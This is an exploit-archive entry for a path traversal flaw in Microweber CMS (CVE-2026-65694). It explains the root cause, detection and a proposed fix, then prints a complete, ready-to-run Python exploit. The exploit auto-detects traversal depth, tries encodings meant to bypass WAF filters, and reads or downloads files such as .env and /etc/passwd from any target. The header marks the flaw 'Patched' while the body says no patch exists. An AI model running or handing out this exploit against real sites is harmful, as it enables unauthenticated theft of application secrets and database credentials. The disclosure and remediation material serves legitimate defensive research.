PoC Archive PoC Archive
CVE-2026-65694 category: web CVSS 7.5 (HIGH)
Patched

Microweber CMS Unauthenticated Path Traversal → Arbitrary File Read (CVE-2026-65694)

Published: 2026-07-31 • Researcher: Bobur Abdugafforov (Mahadsec)

Target software Microweber CMS — ServeStaticFileContoller::serveFromUserfiles()
Affected versions Microweber 0 through 2.0.20 (all released versions); vulnerable line still present on current master as of ingestion
Status Unpatched
Severity High · CVSS 7.5
CVSS 7.5/10
Severity
High
CVE
CVE-2026-65694 (VulnCheck advisory)
Category
web
Affected product
Microweber CMS — ServeStaticFileContoller::serveFromUserfiles()
Affected versions
Microweber 0 through 2.0.20 (all released versions); vulnerable line still present on current master as of ingestion
Disclosed
2026-07-31
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-31
Last Updated2026-07-31
Author / ResearcherBobur Abdugafforov (Mahadsec)
CVE / AdvisoryCVE-2026-65694 (VulnCheck advisory)
Categoryweb
SeverityHigh
CVSS Score7.5 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N); 8.7 (CVSS 4.0)
StatusUnpatched
Tagsmicroweber, path-traversal, cwe-22, unauthenticated, arbitrary-file-read, laravel, query-string-override
RelatedN/A

Affected Target

FieldValue
Software / SystemMicroweber CMS — ServeStaticFileContoller::serveFromUserfiles()
Versions AffectedMicroweber 0 through 2.0.20 (all released versions); vulnerable line still present on current master as of ingestion
Language / PlatformPHP / Laravel
Authentication RequiredNo
Network Access RequiredYes — any reachable HTTP(S) endpoint serving the app

Summary

Microweber CMS exposes an unauthenticated GET /userfiles/{path} route intended to serve files from its userfiles/ upload directory. The controller reads the path via $request->path — a Laravel magic-property accessor that falls back to the request’s query-string bag rather than the route-bound segment — so an attacker-supplied ?path= query parameter silently overrides the intended {path} route value. The resulting path is passed through normalize_path(), which does not strip .. sequences, and the route carries no auth middleware. The combination lets any unauthenticated remote attacker read arbitrary files off the filesystem, including the Laravel .env (leaking APP_KEY, database credentials, mail/cloud secrets) and OS files such as /etc/passwd.

Vulnerability Details

Root Cause

In src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php:

PHP
1
2
3
4
5
6
public function serveFromUserfiles(Request $request)
{
    $path = $request->path;                                   // property read, NOT $request->path()
    $path = normalize_path(userfiles_path() . $path, false);  // normalize_path() does NOT strip ".."
    return $this->sendResponse($path, $request);
}

registered as:

PHP
1
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');

Two independent bugs stack:

  1. Input source confusion. $request->path is a property access, not the $request->path() method call. Laravel resolves undefined properties on Request through __get, which falls back to Arr::get($this->all(), 'path', fn() => $this->route('path')) — meaning a path key present anywhere in the request’s input bag (query string or POST body) takes priority over the actual bound {path} route segment. An attacker can therefore leave the route segment as an arbitrary, non-existent value and smuggle the real traversal payload in through ?path=.
  2. No canonicalization. normalize_path() only collapses duplicate slashes; it never resolves or strips .. components, and the controller never verifies the resolved path stays inside userfiles_path(). The filesystem layer then happily resolves the .. segments outside the intended directory.

The controller blocks only files ending in .php, .phtml, or .php7 (its skip_ext list) — so PHP source is not directly readable via this route, but every other file type is (.env, logs, keys, SQLite databases, YAML/JSON configuration, /etc/passwd, etc.).

Attack Vector

Unauthenticated GET request against the public /userfiles/{path} route, where the route segment is a random/garbage value (so it does not need to correspond to any real file) and the real traversal payload rides in the path query-string parameter:

Output
GET /userfiles/<random-nonexistent-segment>?path=../../../../etc/passwd HTTP/1.1
Host: target

Traversal depth and encoding (../, ..%2f, %2e%2e%2f, etc.) are auto-detected by the PoC to accommodate different deployment/proxy normalization behavior.

Impact

Unauthenticated arbitrary file read. On a default Laravel-backed deployment this means the .env file is directly retrievable, exposing APP_KEY (enabling session/cookie forgery), database credentials, mail credentials, and any cloud/storage keys configured in the app — effectively a full compromise of the instance’s secrets without any prior authentication. OS-level files such as /etc/passwd are also readable, subject only to the permissions of the web-server process user.

Environment / Lab Setup

Output
Target:      Microweber CMS <= 2.0.20 (or current master), deployed with the recommended
             public/ document root (shipped public/.htaccess, or an nginx front controller
             routing /userfiles/* into the Laravel app)
Attacker:    Python 3 + requests
Tools:       poc.py (this folder)

Setup Steps

Shell script
1
pip install -r requirements.txt

Proof of Concept

See poc.py (full, unmodified, 253 lines), requirements.txt, and upstream-README.md in this folder — mirrored from abdugafforov-bobur/CVE-2026-65694-PoC. Verified before ingestion: read the full request logic directly — it builds GET /userfiles/<random-nonexistent-segment>?path=<traversal>, deliberately routing to a fake path segment while smuggling the real traversal through the path query parameter, which is an exact match for the documented property-vs-route-binding override bug rather than a generic traversal guess. The script auto-detects traversal depth and encoding, uses /etc/passwd or windows/win.ini content as a vulnerability oracle in its check() routine, and supports arbitrary file read (stdout) or download to disk. Only third-party dependency is requests; no obfuscation, no unrelated network calls, no destructive default behavior.

Step-by-Step Reproduction

  1. Install the dependency

    Shell script
    1
    
    pip install -r requirements.txt
  2. Check whether a target is vulnerable (does not dump file contents)

    Shell script
    1
    
    python3 poc.py -u http://TARGET --check
  3. Read an arbitrary file to stdout

    Shell script
    1
    2
    
    python3 poc.py -u http://TARGET -r /etc/passwd
    python3 poc.py -u http://TARGET -r .env
  4. Download a file to disk

    Shell script
    1
    
    python3 poc.py -u http://TARGET -d /etc/passwd -o passwd.txt

Exploit Code

Python
1
2
3
4
5
def _request(self, traversal):
    seg = self._rand()  # random, non-existent segment so the request routes to Laravel
    q = urllib.parse.urlencode({"path": traversal}, safe="%")  # keep our own %-encoding intact
    url = f"{self.base}/userfiles/{seg}?{q}"
    return self.s.get(url, timeout=self.timeout, allow_redirects=True)

The underlying request is simply:

Output
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target

Expected Output

Output
  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
  by Bobur Abdugafforov

[*] Testing target: http://target:8080
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)

$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Screenshots / Evidence

Not applicable — text-based HTTP PoC, no GUI evidence captured.

Detection & Indicators of Compromise

Output
"GET /userfiles/<random-looking-segment>?path=..%2f..%2f..%2f..%2fetc%2fpasswd HTTP/1.1" 200

Remediation

ActionDetail
PatchNo vendor-released version yet. A fix is proposed in upstream PR microweber/microweber #1181 (open, submitted by the reporter) but had not merged and no version had been cut as of this ingestion.
WorkaroundAdd a reverse-proxy/WAF rule to strip or reject requests to /userfiles/* that carry a path query-string parameter, and/or block .. sequences in that parameter. Restrict filesystem permissions of the web-server user to minimize blast radius.
Code-level fix (per proposed PR)Read the bound route parameter ($request->route('path')) instead of the input property, canonicalize with realpath(), and verify the resolved path stays inside userfiles_path() before serving it.

References

Notes

Verified before ingestion per this archive’s standard process: the real poc.py file contents were read directly (not taken on faith from the upstream README) and its request-construction logic — GET /userfiles/<random-nonexistent-segment>?path=<traversal> — is an exact match for the documented property-vs-route-binding override bug, not a generic traversal template. The PoC author’s GitHub account (abdugafforov-bobur) was cross-checked against the upstream fix PR and confirmed to be the same person who filed microweber/microweber PR #1181 — i.e., the reporter who found the bug also wrote both the proposed patch and this PoC, which is a strong authenticity signal. No obfuscation, scam, dropper, or phantom-exploit signals were found: the script is a plain requests-based HTTP client with no eval/exec beyond its stated purpose and no curl-pipe-to-shell installer.

Flagging explicitly: as of this ingestion, NO VENDOR PATCH EXISTS for CVE-2026-65694. The fix PR (microweber/microweber #1181) was still open and unmerged, and no patched Microweber version had been released. Status is marked Unpatched accordingly. This entry should be revisited once the PR merges and a fixed version is cut, to update Status/Remediation and record the patched version number.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CVE-2026-65694 - Microweber CMS Unauthenticated Path Traversal / Arbitrary File Read

Vulnerable route:  GET /userfiles/{path}   ->  ServeStaticFileContoller@serveFromUserfiles
Root cause:        $path = $request->path;   (Laravel magic __get: the ?path= query
                   parameter overrides the {path} route segment). normalize_path() does
                   NOT strip "..", so an unauthenticated attacker reads any file the
                   web-server user can access, outside the userfiles/ directory.

Affected:          Microweber <= 2.0.20 / current master (public/-docroot deployments)
Note:              Files with a .php/.phtml/.php7 extension are blocked (403) by the
                   controller's skip_ext list; everything else is readable.

Author:            Bobur Abdugafforov
For authorized security testing only.

Usage:
    python3 poc.py -u http://TARGET --check
    python3 poc.py -u http://TARGET -r /etc/passwd
    python3 poc.py -u http://TARGET -d /etc/passwd -o passwd.txt
"""

import argparse
import sys
import os
import random
import string
import urllib.parse
import requests

requests.packages.urllib3.disable_warnings()  # noqa


class C:
    G = "\033[92m"; R = "\033[91m"; Y = "\033[93m"; B = "\033[94m"; D = "\033[2m"; X = "\033[0m"
def ok(m):   print(f"{C.G}[+]{C.X} {m}")
def err(m):  print(f"{C.R}[-]{C.X} {m}")
def info(m): print(f"{C.B}[*]{C.X} {m}")
def warn(m): print(f"{C.Y}[!]{C.X} {m}")

BANNER = f"""{C.R}
  Microweber CMS  -  Unauthenticated Arbitrary File Read
  CVE-2026-65694   ( GET /userfiles/ ?path= traversal )
{C.D}  by Bobur Abdugafforov{C.X}
"""

PHP_BLOCKED = ("php", "phtml", "php7")


def _normalize_url(u):
    """Accept bare hosts / missing scheme; return a usable base URL."""
    u = u.strip().rstrip("/")
    if not u:
        return u
    if not u.startswith(("http://", "https://")):
        # assume https for :443, else http; caller then follows redirects to correct it
        u = ("https://" if u.endswith(":443") else "http://") + u
    return u


class MicroweberExploit:
    # traversal encodings tried in order (WAF/normalizer bypass)
    TRAVERSALS = ("../", "..%2f", "..%2F", "%2e%2e%2f", "....//")

    def __init__(self, base_url, timeout=15, proxy=None, max_depth=14, verbose=False,
                 retries=2):
        self.base = _normalize_url(base_url)
        # (connect, read) timeout: fail fast on connect, allow slow reads
        self.timeout = (min(7, timeout), timeout)
        self.verbose = verbose
        self.retries = retries
        self.s = requests.Session()
        self.s.verify = False
        self.s.headers.update({"User-Agent": "Mozilla/5.0 (CVE-2026-65694 PoC)"})
        if proxy:
            self.s.proxies = {"http": proxy, "https": proxy}
        self.max_depth = max_depth
        self.last_depth = None
        self.unreachable = False       # set once the host proves unreachable -> stop retrying
        self._trav = None              # traversal encoding that worked (locked in after 1st hit)
        self._probe_base()

    def _rand(self, n=8):
        return "".join(random.choice(string.ascii_lowercase) for _ in range(n))

    def _probe_base(self):
        """Hit the base URL once, following redirects, and adopt the final scheme/host/port.
        Fixes http->https (and www/host) redirects up front so exploit requests land right."""
        try:
            r = self.s.get(self.base + "/", timeout=self.timeout, allow_redirects=True)
            final = urllib.parse.urlsplit(r.url)
            if final.scheme and final.netloc:
                new = f"{final.scheme}://{final.netloc}"
                if new.rstrip("/") != self.base.rstrip("/"):
                    if self.verbose:
                        info(f"following redirect: base -> {new}")
                    self.base = new.rstrip("/")
        except requests.exceptions.SSLError:
            # https handshake failed on an http-only host: downgrade and retry once
            if self.base.startswith("https://"):
                self.base = "http://" + self.base[len("https://"):]
                if self.verbose:
                    warn("SSL failed; retrying over http://")
                self._probe_base()
        except requests.RequestException as e:
            if self.verbose:
                warn(f"base probe failed (continuing): {e}")

    def _request(self, traversal):
        seg = self._rand()  # random, non-existent segment so the request routes to Laravel
        q = urllib.parse.urlencode({"path": traversal}, safe="%")  # keep our own %-encoding intact
        url = f"{self.base}/userfiles/{seg}?{q}"
        if self.verbose:
            info(f"GET {url}")
        for attempt in range(self.retries + 1):
            try:
                # follow redirects so a per-request http->https redirect still resolves;
                # content is validated by the caller, so a redirected 200 can't false-positive --check
                return self.s.get(url, timeout=self.timeout, allow_redirects=True)
            except (requests.exceptions.ConnectionError,
                    requests.exceptions.ConnectTimeout) as e:
                # host-level failure: identical for every depth -> stop the whole run
                self.unreachable = True
                if self.verbose:
                    err(f"connection failed: {e}")
                return None
            except requests.exceptions.ReadTimeout:
                if self.verbose:
                    warn(f"read timeout (attempt {attempt+1}/{self.retries+1})")
                continue   # transient: retry this request
            except requests.RequestException as e:
                if self.verbose:
                    err(f"request error: {e}")
                return None
        return None

    @staticmethod
    def _blocked_ext(path):
        base = os.path.basename(path)
        ext = base.rsplit(".", 1)[-1].lower() if "." in base else ""
        return ext in PHP_BLOCKED

    def read(self, target, fixed_depth=None):
        """Read an arbitrary file (absolute like /etc/passwd, or app-relative like .env).
        Auto-detects traversal depth and encoding. Returns bytes on success, None on failure."""
        if self.unreachable:
            return None
        rel = target.lstrip("/")
        if self._blocked_ext(rel):
            warn(f"'{target}' ends in .php/.phtml/.php7 - blocked (403) by the controller.")
        # once one encoding works, reuse it; otherwise try each in turn
        encodings = [self._trav] if self._trav else list(self.TRAVERSALS)
        depths = [fixed_depth] if fixed_depth is not None else range(0, self.max_depth + 1)
        for enc in encodings:
            for d in depths:
                if self.unreachable:
                    return None
                r = self._request((enc * d) + rel)   # enc already carries its own separator
                if r is None:
                    if self.unreachable:
                        return None
                    continue
                if r.status_code == 200 and r.content:
                    self.last_depth = d
                    self._trav = enc
                    return r.content
        return None

    def check(self):
        """Return True if the target is vulnerable, False otherwise. Does not print file data."""
        info(f"Testing target: {self.base}")
        data = self.read("/etc/passwd")
        if data and b"root:" in data:
            ok(f"VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth {self.last_depth})")
            return True
        if self.unreachable:
            err("Target UNREACHABLE (connection refused / timed out). Check host, port, and network.")
            return False
        data = self.read("/windows/win.ini")   # windows fallback
        if data and b"[" in data:
            ok(f"VULNERABLE - CVE-2026-65694 confirmed on Windows target (traversal depth {self.last_depth})")
            return True
        if self.unreachable:
            err("Target UNREACHABLE (connection refused / timed out). Check host, port, and network.")
            return False
        err("NOT VULNERABLE - reachable, but no out-of-bounds file read (patched or not Microweber).")
        return False

    def download(self, target, out_path, fixed_depth=None):
        data = self.read(target, fixed_depth=fixed_depth)
        if data is None:
            err(f"Could not read '{target}'")
            return False
        with open(out_path, "wb") as f:
            f.write(data)
        ok(f"Downloaded '{target}' -> {out_path} ({len(data)} bytes, traversal depth {self.last_depth})")
        return True


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-65694 - Microweber unauthenticated arbitrary file read PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""examples:
  %(prog)s -u http://target:8080 --check
  %(prog)s -u http://target:8080 -r /etc/passwd
  %(prog)s -u http://target:8080 -r .env
  %(prog)s -u http://target:8080 -d /etc/passwd -o passwd.txt
""")
    ap.add_argument("-u", "--url", required=True, help="target base URL, e.g. http://host:8080")
    ap.add_argument("--check", action="store_true", help="check whether the target is vulnerable")
    ap.add_argument("-r", "--read", metavar="FILE", help="read a file and print it to stdout")
    ap.add_argument("-d", "--download", metavar="FILE", help="read a file and save it locally")
    ap.add_argument("-o", "--output", metavar="FILE", help="output path for --download (default: basename)")
    ap.add_argument("--depth", type=int, help="fixed traversal depth (default: auto-detect)")
    ap.add_argument("--proxy", help="HTTP proxy, e.g. http://127.0.0.1:8080")
    ap.add_argument("--timeout", type=int, default=15)
    ap.add_argument("-v", "--verbose", action="store_true")
    args = ap.parse_args()

    if not (args.check or args.read or args.download):
        ap.error("choose an action: --check, -r/--read FILE, or -d/--download FILE")

    print(BANNER)
    x = MicroweberExploit(args.url, timeout=args.timeout, proxy=args.proxy, verbose=args.verbose)

    rc = 0
    if args.check:
        if not x.check():
            rc = 2
    if args.read:
        data = x.read(args.read, fixed_depth=args.depth)
        if data is None:
            err(f"Could not read '{args.read}'"); rc = 2
        else:
            sys.stdout.buffer.write(data)
            if not data.endswith(b"\n"):
                sys.stdout.buffer.write(b"\n")
    if args.download:
        out = args.output or os.path.basename(args.download.rstrip("/")) or "download.bin"
        if not x.download(args.download, out, fixed_depth=args.depth):
            rc = 2
    sys.exit(rc)


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("\ninterrupted")